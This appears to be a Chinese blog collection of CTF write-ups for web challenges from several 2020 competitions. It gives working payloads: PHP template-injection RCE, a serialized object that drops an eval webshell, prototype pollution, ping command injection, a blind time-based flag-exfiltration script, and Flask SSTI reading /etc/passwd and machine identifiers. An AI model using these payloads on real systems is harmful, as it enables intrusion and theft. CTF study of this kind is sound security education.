follow my dream

20208月到9月初的wp合集

字数统计: 17.5k阅读时长: 96 min
2020/09/12 Share

第十三届全国大学生信息安全竞赛-创新实践能力赛

web

fork

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status); // pcntl_wifexited 等待或返回fork的子进程状态
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

# http://eci-2ze9505q64pi1umrxpn7.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_wait

rceme

https://www.anquanke.com/post/id/173991

https://xz.aliyun.com/t/4471

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

/?a={if:var_dump(('sys'.'tem')('cat /flag'))}a{end if}

littlegame

CVE-2019-10747,此题使用的是有问题的版本。

set-value 的版本比较: https://github.com/jonschlinkert/set-value/commit/95e9d9923f8a8b4a01da1ea138fcc39ec7b6b15f

POC:

https://snyk.io/vuln/SNYK-JS-SETVALUE-450213

https://xz.aliyun.com/t/7182####toc-4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
var express = require('express');
const setFn = require('set-value');
var router = express.Router();

const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}

router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}

});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});

module.exports = router;
  • /SpawnPoint

  • /Privilege

1
{"NewAttributeKey":"__proto__.fe1w0","NewAttributeValue":"xzaslxr1"}
  • /DeveloperControlPanel
1
{"key":"fe1w0","password":"xzaslxr1"}

题外话,在Y1ng师傅博客那边又学到个新知识

npm aduit主要做的就是把需要检查的依赖信息发送给一个官方检查接口, 该结构会在历史上报的漏洞数据库中判断当前依赖信息是否含有漏洞,然后生成一个包含包名称、漏洞严重性、简介、路径等的漏洞报告反馈给开发者。

img

题目源代码:http://xzaslxr.xyz/wp-content/uploads/2020/09/LittleGame_app.zip 感兴趣的老哥,可以试试

easytrick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

可以利用php 的无穷大来绕过

1
O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}

论证:

qqqqq

此外,利用NaN也行 from Y1ng 师傅wp

NaN “不是数字”并不意味着查看数据类型是否为数值型/文本型/等等。

NaN实际上是一组可以存储在浮点变量中的值,但实际上并不计算为一个合适的浮点数。

1
2
3
php > var_dump(is_nan((float)'NaN'));
php shell code:1:
bool(false)

babyunserialize

思路与wm2020的webweb相似,不同的是通过写webshell

而非rce。

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace DB;
class Jig
{
protected
$dir = 1,
$data = array("fe1w0.php"=>array("<?php eval(\$_GET['a']);?>"=>123)),
$lazy = 1;
}
$a=new Jig();
echo urlencode((serialize($a)));

主要利用jip.php中的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}

function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}

🎣杯

web

gamebox

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])) {
gamebox($_GET['c']); //没有get到这个是干什么用的
}
else if(isset($_GET['f'])){
fileReader($_GET['f']);// 可以用来读取文件,php格式的也行
}
else{
highlight_file(__FILE__);
}
  • 读进程信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
GET /?f=/proc/self/maps HTTP/1.1
Host: 122.112.218.163:10080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

HTTP/1.1 200 OK
Date: Thu, 27 Aug 2020 01:35:12 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.33
Vary: Accept-Encoding
Content-Length: 53572
Connection: close
Content-Type: text/html; charset=UTF-8

55f1df1ed000-55f1df222000 r--p 00000000 fd:01 664673 /usr/sbin/apache2
55f1df222000-55f1df26c000 r-xp 00035000 fd:01 664673 /usr/sbin/apache2
55f1df26c000-55f1df28e000 r--p 0007f000 fd:01 664673 /usr/sbin/apache2
55f1df28f000-55f1df292000 r--p 000a1000 fd:01 664673 /usr/sbin/apache2
55f1df292000-55f1df296000 rw-p 000a4000 fd:01 664673 /usr/sbin/apache2
55f1df296000-55f1df299000 rw-p 00000000 00:00 0
55f1dfbca000-55f1dfdb1000 rw-p 00000000 00:00 0 [heap]
55f1dfdb1000-55f1dfdd6000 rw-p 00000000 00:00 0 [heap]
7f40c85b0000-7f40c85b1000 r--p 00000000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1
7f40c85b1000-7f40c85b2000 r-xp 00001000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1
7f40c85b2000-7f40c9f9e000 r--p 00002000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1
7f40c9f9e000-7f40c9f9f000 r--p 019ed000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1
7f40c9f9f000-7f40c9fa0000 rw-p 019ee000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1
7f40c9fa0000-7f40c9fc7000 rw-p 00000000 00:00 0
7f40c9fc7000-7f40c9fca000 r--p 00000000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so
7f40c9fca000-7f40c9fd1000 r-xp 00003000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so
7f40c9fd1000-7f40c9fd3000 r--p 0000a000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so
7f40c9fd3000-7f40c9fd4000 ---p 0000c000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so
7f40c9fd4000-7f40c9fd5000 r--p 0000c000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so
7f40c9fd5000-7f40c9fd6000 rw-p 0000d000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so
7f40c9fd6000-7f40ca00c000 rw-p 00000000 00:00 0
7f40ca014000-7f40ca016000 rw-p 00000000 00:00 0
7f40ca907000-7f40ca90a000 r--p 00000000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f40ca90a000-7f40ca91b000 r-xp 00003000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f40ca91b000-7f40ca91e000 r--p 00014000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f40ca91e000-7f40ca91f000 ---p 00017000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f40ca91f000-7f40ca920000 r--p 00017000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f40ca920000-7f40ca921000 rw-p 00018000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f40ca921000-7f40ca9aa000 r--p 00000000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
7f40ca9aa000-7f40caa56000 r-xp 00089000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
7f40caa56000-7f40caa94000 r--p 00135000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
7f40caa94000-7f40caa95000 ---p 00173000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
7f40caa95000-7f40caa9f000 r--p 00173000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
7f40caa9f000-7f40caaa1000 rw-p 0017d000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
7f40caaa1000-7f40caaa5000 rw-p 00000000 00:00 0
7f40cb5fb000-7f40cb5fe000 r-xp 00000000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so
7f40cb5fe000-7f40cb7fe000 ---p 00003000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so
7f40cb7fe000-7f40cb7ff000 r--p 00003000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so
7f40cb7ff000-7f40cb800000 rw-p 00004000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so
  • FileReader.so 下载
1
curl.exe http://122.112.218.163:10080/?f=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so --output D:1.so

当你IDA启动时,会发现这是道webpwn

  • gamebox
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 __fastcall zif_gamebox(__int64 a1)
{
signed int v1; // edx@4
int v2; // esi@6
char *v3; // rax@6
__int64 v4; // rcx@6
const void *v6; // [sp+0h] [bp-E78h]@1
__int64 v7; // [sp+8h] [bp-E70h]@1
int v8[256]; // [sp+10h] [bp-E68h]@4
__int64 v9[256]; // [sp+410h] [bp-A68h]@4
char v10[511]; // [sp+C10h] [bp-268h]@1
char v11; // [sp+E0Fh] [bp-69h]@4
__int64 v12; // [sp+E58h] [bp-20h]@1

v6 = 0LL;
v12 = *MK_FP(__FS__, 40LL);
memset(v10, 0, 0x240uLL);
if ( zend_parse_parameters(*(_DWORD *)(a1 + 44), (__int64)"s", (__int64)&v6, (__int64)&v7) != -1 )
{
if ( (unsigned __int64)v7 > 0x200 )
qmemcpy(v10, v6, 0x200uLL);
else
__memcpy_chk((__int64)v10, (__int64)v6, v7, 576LL);
v11 = 0;
v1 = 0;
qmemcpy(v8, &unk_2900, sizeof(v8));
qmemcpy(v9, &off_2040A0, sizeof(v9));
while ( 1 )
{
v2 = v1 + 1;
v3 = &v10[v1];
v4 = *v3;
if ( (_BYTE)v4 == 44 )
{
v1 += 2;
*v3 = 5;
if ( v1 > 511 )
LABEL_8:
JUMPOUT(__CS__, v9[v10[0]]);
}
else
{
*v3 = v8[v4];
++v1;
if ( v2 > 511 )
goto LABEL_8;
}
}
}
return *MK_FP(__FS__, 40LL) ^ v12;
}
  • fileReader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
__int64 __fastcall zif_fileReader(__int64 a1)
{
__int64 v1; // rdi@1
char *v2; // r8@2
const char *v3; // rsi@4
FILE *v4; // rbx@4
char *v6; // rax@10
__int64 v7; // [sp+0h] [bp-B8h]@1
__int64 v8; // [sp+8h] [bp-B0h]@1
char filename[16]; // [sp+10h] [bp-A8h]@2
__m128i v10; // [sp+20h] [bp-98h]@3
__m128i v11; // [sp+30h] [bp-88h]@3
__m128i v12; // [sp+40h] [bp-78h]@3
__m128i v13; // [sp+50h] [bp-68h]@3
__m128i v14; // [sp+60h] [bp-58h]@3
__m128i v15; // [sp+70h] [bp-48h]@3
__m128i v16; // [sp+80h] [bp-38h]@3
__int64 v17; // [sp+98h] [bp-20h]@1

v1 = *(_DWORD *)(a1 + 44);
v17 = *MK_FP(__FS__, 40LL);
v7 = 0LL;
if ( zend_parse_parameters(v1, (__int64)"s", (__int64)&v7, (__int64)&v8) != -1 )
{
v2 = filename;
memset(filename, 0, 0x80uLL);
if ( (unsigned __int64)v8 <= 0x80 )
{
LODWORD(v6) = __memcpy_chk((__int64)filename, v7, v8, 128LL);
v2 = v6;
}
else
{
*(__m128i *)filename = _mm_loadu_si128((const __m128i *)v7);
v10 = _mm_loadu_si128((const __m128i *)(v7 + 16));
v11 = _mm_loadu_si128((const __m128i *)(v7 + 32));
v12 = _mm_loadu_si128((const __m128i *)(v7 + 48));
v13 = _mm_loadu_si128((const __m128i *)(v7 + 64));
v14 = _mm_loadu_si128((const __m128i *)(v7 + 80));
v15 = _mm_loadu_si128((const __m128i *)(v7 + 96));
v16 = _mm_loadu_si128((const __m128i *)(v7 + 112));
}
v3 = "rb";
v4 = fopen(v2, "rb");
if ( v4 )
{
while ( !feof(v4) )
{
v3 = (const char *)(unsigned int)(char)fgetc(v4);
php_printf((__int64)"%c", (__int64)v3);
}
php_printf((__int64)"\n", (__int64)v3);
}
else
{
php_printf((__int64)"Failed~", (__int64)"rb");
}
}
return *MK_FP(__FS__, 40LL) ^ v17;
}

easyseed

  • http://122.112.252.28:20001/index.bak

PHP/5.6.28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
***************************
*************************
*************************
*************************
*************************
*************************
*************************
*************************
*************************
$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
*************************
*************************
*************************
*************************
*************************
*************************
*************************
*************************
function random($length, $chars = '0123456789ABC') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)]; //mt_rand() 使用 Mersenne Twister 算法返回随机整数。


}
return $hash;
}
*************************
*************************
*************************
*************************
*************************
*************************
*************************
*************************

参考:

无需暴破还原mt_rand()种子

http://www.yulegeyu.com/2017/05/13/PHPCMS-MT-RAND-SEED-CRACK%E8%87%B4authkey%E6%B3%84%E9%9C%B2%E3%80%82/

https://www.openwall.com/php_mt_seed/

  • payload
1
2
3
4
5
6
7
8
9
10
$str = "vEUHaY";
$randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";

for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
//21 21 0 51 30 30 0 51 46 46 0 51 33 33 0 51 0 0 0 51 50 50 0 51
}
  • seed
1
2
3
4
5
6
7
8
9
10
11
root@iZwz951ls2mad25iuv9mtjZ:~/php_mt_seed-4.0# ./php_mt_seed `php 1.php`
Pattern: EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52
Version: 3.0.7 to 5.2.0
Found 0, trying 0xe0000000 - 0xffffffff, speed 120.3 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x0fffffff, speed 0.0 Mseeds/s
seed = 0x000af591 = 718225 (PHP 5.2.1 to 7.0.x; HHVM)
Found 1, trying 0xe0000000 - 0xefffffff, speed 14.8 Mseeds/s
seed = 0xeed97ca5 = 4007230629 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0xf0000000 - 0xffffffff, speed 14.8 Mseeds/s
Found 2

注意要使用php5.6

  • payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$seed  = 718225;
mt_srand($seed);

function random($length, $chars = '') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)]; //mt_rand() 使用 Mersenne Twister 算法返回随机整数。


}
return $hash;
}

$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
//string(6) "vEUHaY"
//string(16) "nRtqGR8mtd9ZOPyI"
var_dump($lock,$key);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
GET /index.php HTTP/1.1
Host: 122.112.252.28:20001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: key=nRtqGR8mtd9ZOPyI; lock=vEUHaY
X-Forwarded-For: 127.0.0.1
Connection: close

HTTP/1.1 200 OK
Date: Thu, 27 Aug 2020 07:30:44 GMT
Server: Apache/2.4.23 (Unix)
X-Powered-By: PHP/5.6.28
Set-Cookie: lock=vEUHaY
Set-Cookie: key=Infer+the+key+from+the+lock
Content-Length: 155
Connection: close
Content-Type: text/html; charset=UTF-8

<h1 align="center">钥匙开锁的游戏!!!</h1><img src="1.jpeg" style="margin-left:38%"/><script>alert('flag{6e5b51029a9a9ccd6d6b0f9a1a58c494}')</script>

easyweb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import re

flag_format = re.compile('flag\\{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}\\}')
all_letter = '-}0123456789abcdefghijklmnopqrstuvwxyz'


def get_flag(command):
try:
r = requests.post('http://119.3.37.185/', data={'cmd': command}, timeout=1.5)
except:
return True
return False


if __name__ == '__main__':
flag = 'flag{'
while flag_format.match(flag) == None:
staus = 0
for i in all_letter:
payload = 'cat /flag* | grep %s && sleep 1.8' % (flag + i)
print(payload)
if get_flag(payload):
staus = 1
flag += i
print(flag)
break
if staus == 0:
flag = flag[0:-1]

from

无回显的命令执行之利用

https://xz.aliyun.com/t/8125

第四届强网杯

强网先锋

web辅助

源代码:http://112.126.59.156:8080/s/QmfSGNA2JZ7CmK2/download

原题:https://ama666.cn/2020/06/25/DASCTF-6%E6%9C%88%E8%B5%9B%E6%80%BB%E7%BB%93/

payload:

1
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password="";S:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6eame";O:7:"midsolo":2:{S:7:"\0*\0\6eame";O:6:"jungle":1:{S:7:"\0*\0\6eame";s:5:"fe1w0";}}};s:8:"\0*\0admin";i:1;}

__wakeup绕过 以及 S支持16进制编码就行

主动

1
2
3
4
5
6
7
8
9
10
11
 <?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}

system("ping -c 3 $_GET[ip]");

?>
  • payload
1
http://39.96.23.228:10002/?ip=|cat f***| base64

Funhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
// 即 $_GET["hash1"] == hash("md4", $_GET["hash1"])

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}


//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>
1
http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

https://www.cnblogs.com/tqing/p/11852990.html

upload

密码123456

https://www.jianshu.com/p/c3679f805a0c

1
2
3
4
5
fe1w0@fe1w0:~$ steghide extract -sf 1.jpg
Enter passphrase:
the file "flag.txt" does already exist. overwrite ? (y/n)

steghide: did not write to file "flag.txt".

GACTF

web

simpleflask

http://149.28.80.82:89/

1
2
PS C:\WINDOWS\System32> curl.exe -X POST  http://124.70.153.63:80 -d 'name={{1-1}}'
<h1>hello 0!<h1>
  • id
1
2
3
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}}

hello a8eb6cac33e701ae867269db5ce80e7f !
1
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}
1
hello 11:devices:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 10:blkio:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 9:cpuset:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 8:freezer:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 7:pids:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 6:hugetlb:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 5:net_prio,net_cls:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 4:perf_event:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 3:memory:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 2:cpuacct,cpu:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 1:name=systemd:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f !

/usr/local/lib/python3.6/dist-packages/werkzeug/debug/__init__.py 48-76

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def get_machine_id():
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate():
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except IOError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
pass

注意此题和[GYCTF2020]FlaskApp的主要区别在于/etc/machine-id存在,其他一样

1
linux =  get(/etc/machine-id) + get(/proc/self/cgroup) 
  • MAC

注意MAC值是会变化的

1
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}
1
2
3
hello 02:42:ac:14:00:07 !
>>> print(int('0242ac140007',16))
2485378088967
  • username
1
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}
1
hello root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin !
1
2
3
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["geteuid"]()}}

hello 0!
变量名 变量值
当前计算机用户名 root
modname flask.app
